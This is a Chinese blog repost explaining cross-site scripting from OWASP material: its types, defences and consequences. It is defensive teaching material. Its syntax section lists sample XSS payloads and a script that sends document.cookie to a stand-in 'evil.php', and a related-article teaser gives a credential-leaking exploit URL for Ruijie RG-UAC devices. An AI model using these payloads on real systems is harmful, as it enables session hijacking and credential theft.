Cross Site Scripting (XSS)

news2024/9/20 8:07:00

攻击者会给网站发送可疑的脚本,可以获取浏览器保存的网站cookie, session tokens, 或者其他敏感的信息,甚至可以重写HTML页面的内容。


背景


XSS漏洞有不同类型,最开始发现的是存储型XSS和反射型XSS,2005,Amit Klein发现了基于DOM的XSS。



反射型XSS也叫不可持续XSS,当用户输入在错误消息、搜索结果或任何其他响应中立即由Web应用程序返回时,就会发生反射式XSS,这些响应包含用户作为请求的一部分提供的一些或全部输入,而不会在浏览器中安全地呈现这些数据,也不会永久存储用户提供的数据。在某些情况下,用户提供的数据甚至可能永远不会离开浏览器。


存储型XSS也叫可持续的XSS,存储型XSS通常发生在用户输入存储在目标服务器上时,例如在数据库、论坛、访客日志、评论字段等中。然后受害者能够从Web应用程序检索存储的数据,
而无需在浏览器中安全地呈现这些数据。随着HTML5和其他浏览器技术的出现,我们可以设想攻击有效负载被永久存储在受害者的浏览器中,例如HTML5数据库,而根本不会被发送到服务器。


基于DOM的XSS(或某些文本中称为“类型0 XSS”)是一种XSS攻击,其中攻击有效负载是通过修改原始客户端脚本在受害者浏览器中使用的DOM“环境”来执行的,这样客户端代码就会以“意外”的方式运行。也就是说,页面本身(即HTTP响应)没有改变,但由于DOM环境中发生的恶意修改,页面中包含的客户端代码执行方式不同。



不同类型的XSS

上述三种XSS分类存在重叠,2012年,研究会提议开始用新的词来识别XSS。

  • 服务端XSS
  • 客户端XSS

服务器端XSS发生在服务器生成的HTTP响应中包含不受信任的用户提供的数据时。这些数据的来源可能是请求,也可能是存储位置。因此,您可以同时拥有反射式服务器端XSS和存储式服务器端XSS。在这种情况下,整个漏洞都在服务器端代码中,浏览器只是呈现响应并执行其中嵌入的有效脚本。

客户端XSS发生在不信任的用户提供的数据用于使用不安全的JavaScript调用更新DOM时。如果可以将有效的JavaScript引入DOM,则JavaScript调用被视为不安全。这些数据的来源可能是DOM,也可能是由服务器发送的(通过AJAX调用或页面加载)。数据的最终来源可能是来自请求,或者是来自客户端或服务器上的存储位置。因此,您可以同时拥有反射式客户端XSS和存储式客户端XSS。有了这些新的定义,基于DOM的XSS的定义并没有改变。基于DOM的XSS只是客户端XSS的一个子集,其中数据的来源在DOM中,而不是来自服务器。

原文:Types of XSS | OWASP Foundation

 

推荐的服务端XSS防御方式

服务端XSS是由于在HTML响应中包含了不可信任的数据,最简单和最有力的服务端XSS防御方式为上下文敏感的服务器端输出编码

输入验证和数据清理也可以防止服务端XSS,但是难以正确。

推荐的客户端XSS防御方式

客户端XSS发生在不信任的数据于以不安全的JavaScript调用更新DOM时。针对客户端XSS最简单和最有效的防御是:
使用安全的JavaScript API

但是,开发人员经常不知道哪些JavaScript API是安全的,更不用说他们最喜欢的JavaScript库中的哪些方法是安全的。Dave Wichers在2012年OWASP AppSec USA的DOM XSS演讲中介绍了哪些JavaScript和jQuery方法是安全和不安全的。 如果你知道JavaScript方法是危险的,我们的主要建议是寻找一个安全的替代方法。如果你因为某种原因不能这样做,那么在将数据传递给不安全的JavaScript方法之前,可以在浏览器中进行上下文敏感的输出编码。OWASP的指导说明如何正确执行此操作,在DOM XSS预防备忘单中有所介绍。请注意,此指南适用于所有类型的客户端XSS,无论数据实际来自何处(DOM或服务器)。DOM based XSS Prevention - OWASP Cheat Sheet Series

 XSS攻击的后果

泄露用户的session cookie,允许攻击者劫持用户会话和控制用户账号,
其他伤害包含泄露用户的文件,安装特洛伊木马程序,将用户重定向至其他网站,修改内容呈现方式。

允许攻击者修改新闻稿或新闻项目的XSS漏洞可能会影响公司的股价或降低消费者的信心。
制药网站的XSS漏洞可能允许攻击者修改剂量信息,导致过量服用。
有关这些类型攻击的更多信息,请参阅Content_Spoofing。https://owasp.org/www-community/attacks/Content_Spoofing
 

如何发现XSS攻击

查找漏洞的最佳方法是执行代码的安全性审查,并查找所有可能通过HTTP请求将代码
插入HTML文档的地方。有很多HTML标签可以传递javascript文档,有一些工具如Nessus,Nikto和其他的一些工具可以帮助扫描这些缺陷,但是可能仅仅只发现表面问题。如果网站有一个地方是脆弱的,那么有很大可能其他地方也有问题。

 如何防护?

OWASP XSS预防作弊表Cross Site Scripting Prevention - OWASP Cheat Sheet Series描述了防止XSS的主要防御措施。此外,关闭所有Web服务器上的HTTP TRACE支持是至关重要的。即使在客户端禁用或不支持document.cookie的情况下,攻击者也可以通过Javascript窃取cookie数据。当用户将恶意脚本发布到论坛时,就会发起这种攻击,当另一个用户点击链接时,就会触发异步HTTP跟踪调用,从服务器收集用户cookie信息,然后将其发送到另一个恶意服务器,该服务器收集cookie信息,以便攻击者能够发起会话劫持攻击。通过在所有Web服务器上移除对HTTP TRACE的支持可以轻松减轻这种攻击。OWASP ESAPI项目用几种语言产生了一套可重复使用的安全组件,包括用于防止参数篡改和XSS攻击注入的验证和转义例程。此外,OWASP WebGoat项目培训应用程序提供了有关跨站脚本和数据编码的课程。

XSS语法

常见的是把XSS脚本嵌入<script>...</script> 标签,但是其他的标签也可以嵌入XSS脚本。

<body οnlοad=alert('test1')>


其他属性如 onmouseover, onerror.

onmouseover
<b οnmοuseοver=alert('Wufff!')>click me!</b>

onerror
<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>


通过编码的URI格式 <IMG SRC=j&#X41vascript:alert('test2')>

将我们的脚本进行base64编码并放入META标签
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

 举例

1、获取cookie

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1144952.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JVM】字节码文件的组成部分

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 Redis 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 JVM 一、字节码文件的组成部分1.1 iconst_0…

LabVIEW开发TDS1000 和TDS2000 系列泰克示波器

LabVIEW开发TDS1000 和TDS2000 系列泰克示波器 泰克示波器是经常用到的工具&#xff0c;一般手动操作即可&#xff0c;但有时候也要集成到系统中&#xff0c;需要程控。这时候先要下载厂家提供的例子&#xff0c;了解LabVIEW的demo。根据不用的示波器型号&#xff0c;选择和计…

在职场上有多少人输在了不会用Python数据分析

在职场上有多少人输在了不会用Python数据分析 在职场上有多少人输在了不会用Python数据分析引言方向一&#xff1a;学了Python能做什么&#xff1f;方向二&#xff1a;Python的应用领域1. Web开发&#xff1a;2. 自动化和脚本编写&#xff1a;3. 数据科学和分析&#xff1a;4. …

锐捷RG-UAC账号密码信息泄露

第一种方法&#xff1a; 构造如下Payloads https://xxxxx/get_dkey.php?useradmin访问payload成功后&#xff0c;可以看到受影响系统的超级管理员权限账号、访客权限账号、审计权限账号的账户名和 MD5 加密的密码值&#xff0c;如下图所示&#xff1a; 下面可以使用上一步查…

【强化学习】10 —— DQN算法

文章目录 深度强化学习价值和策略近似RL与DL结合产生的问题深度强化学习的分类 Q-learning回顾深度Q网络&#xff08;DQN&#xff09;经验回放优先经验回放 目标网络算法流程 代码实践CartPole环境代码结果 参考 深度强化学习 价值和策略近似 我们可以利用深度神经网络建立这些…

缺少d3dx9_43.dll怎么解决 win系统如何运行dll文件?

大家好&#xff01;今天我来给大家分享一下关于d3dx9_43.dll缺失的4种详细解决方案。 首先&#xff0c;让我们了解一下d3dx9_43.dll是什么文件。其实&#xff0c;d3dx9_43.dll是DirectX的一个组件&#xff0c;它主要负责处理游戏中的一些特效和动画效果。如果这个文件丢失了&a…

MacOS系统电脑怎么彻底清理系统垃圾注册表App Cleaner可以深度清理吗

App Cleaner & Uninstaller 是一款适用于 Mac 操作系统的软件应用程序&#xff0c;允许用户轻松卸载不需要的应用程序、删除剩余文件和文件夹以及管理启动项。该应用程序会分析与您要删除的应用程序关联的文件&#xff0c;并帮助识别其所有组件&#xff0c;以便您可以一次将…

C++学习day--23 枚举、类型定义、头文件

1、枚举 1.1 枚举的概念 枚举是 C/C 语言中的一种基本数据类型&#xff0c; 它可以用于声明一组常数 。当一个变量有几个固 定的可能取值时&#xff0c;可以将这个变量定义为枚举类型。 比如&#xff0c;你可以用一个枚举类型的变量来表示季节&#xff0c;因为季节只有 4 …

C++之左值、右值、std::forward、std::move总结(二百五十)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

033-第三代软件开发-固定区域截图

第三代软件开发-固定区域截图 文章目录 第三代软件开发-固定区域截图项目介绍固定区域截图QWidget 版本QML 版本 自由截图自由截图二 关键字&#xff1a; Qt、 Qml、 关键字3、 关键字4、 关键字5 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QM…

粤嵌实训医疗项目--day03(Vue + SpringBoot)

往期回顾 粤嵌实训医疗项目day02&#xff08;Vue SpringBoot&#xff09;-CSDN博客 粤嵌实训医疗项目--day01&#xff08;VueSpringBoot&#xff09;-CSDN博客 目录 一、SpringBoot AOP的使用 二、用户模块-注册功能&#xff08;文件上传&#xff09; 三、用户模块-注册实现…

基于stm32的ADC读取烟雾报警器的数值

本文想要设计一个设计一个有stm32控制的烟雾报警系统。通过MQ-2烟雾报警器将获取模拟的数值传递给stm32的ADC外设并在串口助手上显示对应的电压值。烟雾报警器浓度越高&#xff0c;他的电压就越高&#xff0c;但是不会超过3.3V。设置一个电压临界值&#xff0c;当传输回来的电压…

Python环境下LaTeX数学公式转图像方案调研与探讨

目录 引言方案一&#xff1a;基于LaTeX环境方案二&#xff1a;基于KaTeX(推荐) 方案三&#xff1a;基于Matplotlib写在最后 引言 近来&#xff0c;涉及到一些公式识别的项目&#xff0c;输入是公式的图像&#xff0c;输出是LaTeX格式的数学公式字符串。 这类项目一般都采用深…

小程序如何设置首选配送公司

小程序的一个重要环节就是配送服务。为了提供更好的发货体验&#xff0c;避免商家总是要在众多的配送公司中选择想要&#xff0c;小程序支持设置首选配送。下面将具体介绍一下小程序如何设置。 在小程序管理员后台->配送设置->首选配送处&#xff0c;指定需要设置的首选…

如何使用gpt提高效率

如何使用gpt提高效率 自动化替代人力工作减少创意工作需求技术依赖风险实际应用领域内容生成自动回答问题自动化编程个性化推荐 博主 默语带您 Go to New World. ✍ 个人主页—— 默语 的博客&#x1f466;&#x1f3fb; 《java 面试题大全》 &#x1f369;惟余辈才疏学浅&…

Linux进程控制(一)

前言&#xff1a;Linux进程控制是指在Linux操作系统中&#xff0c;对进程的创建、运行、管理和终止等方面进行控制的一系列机制和技术。Linux作为一个多任务操作系统&#xff0c;能够同时运行多个进程任务的执行&#xff0c;继前面我们对Linux进程创建的学习之后&#xff0c;今…

【多线程面试题 六】、 如何实现线程同步?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a; 如何实现线程同步&…

Linux touch命令:创建文件及修改文件时间

既然知道了如何在 Linux 系统中创建目录&#xff0c;接下来你可能会想在这些目录中创建一些文件&#xff0c;可以使用 touch 命令。 需要注意的是&#xff0c;touch 命令不光可以用来创建文件&#xff08;当指定操作文件不存在时&#xff0c;该命令会在当前位置建立一个空文件&…

“第五十三天”

今天没有做什么&#xff0c;不过这个在打印&#xff0c;的时候一直卡着&#xff0c;我一直在想把逗号打印在后面&#xff0c;所以一直想办法确定最后一个是哪一位&#xff0c;这里居然没有绕过来其实可以看做是前面&#xff0c;这样第一个不打印逗号&#xff0c;后面打印就可以…

【笔录】TVP技术沙龙:寻宝AI时代

目录 引言大模型的应用案例大模型三问模型落地可行性考量维度AIGC的几个可行应用方向 引言 大模型是10倍的机会&#xff0c;但并不是平均主义的机会&#xff0c;没有低垂的果实。 企业想在大模型的赛道上跑出成绩&#xff0c;应该怎么做&#xff0c;又要选择哪些赛道&#xff1…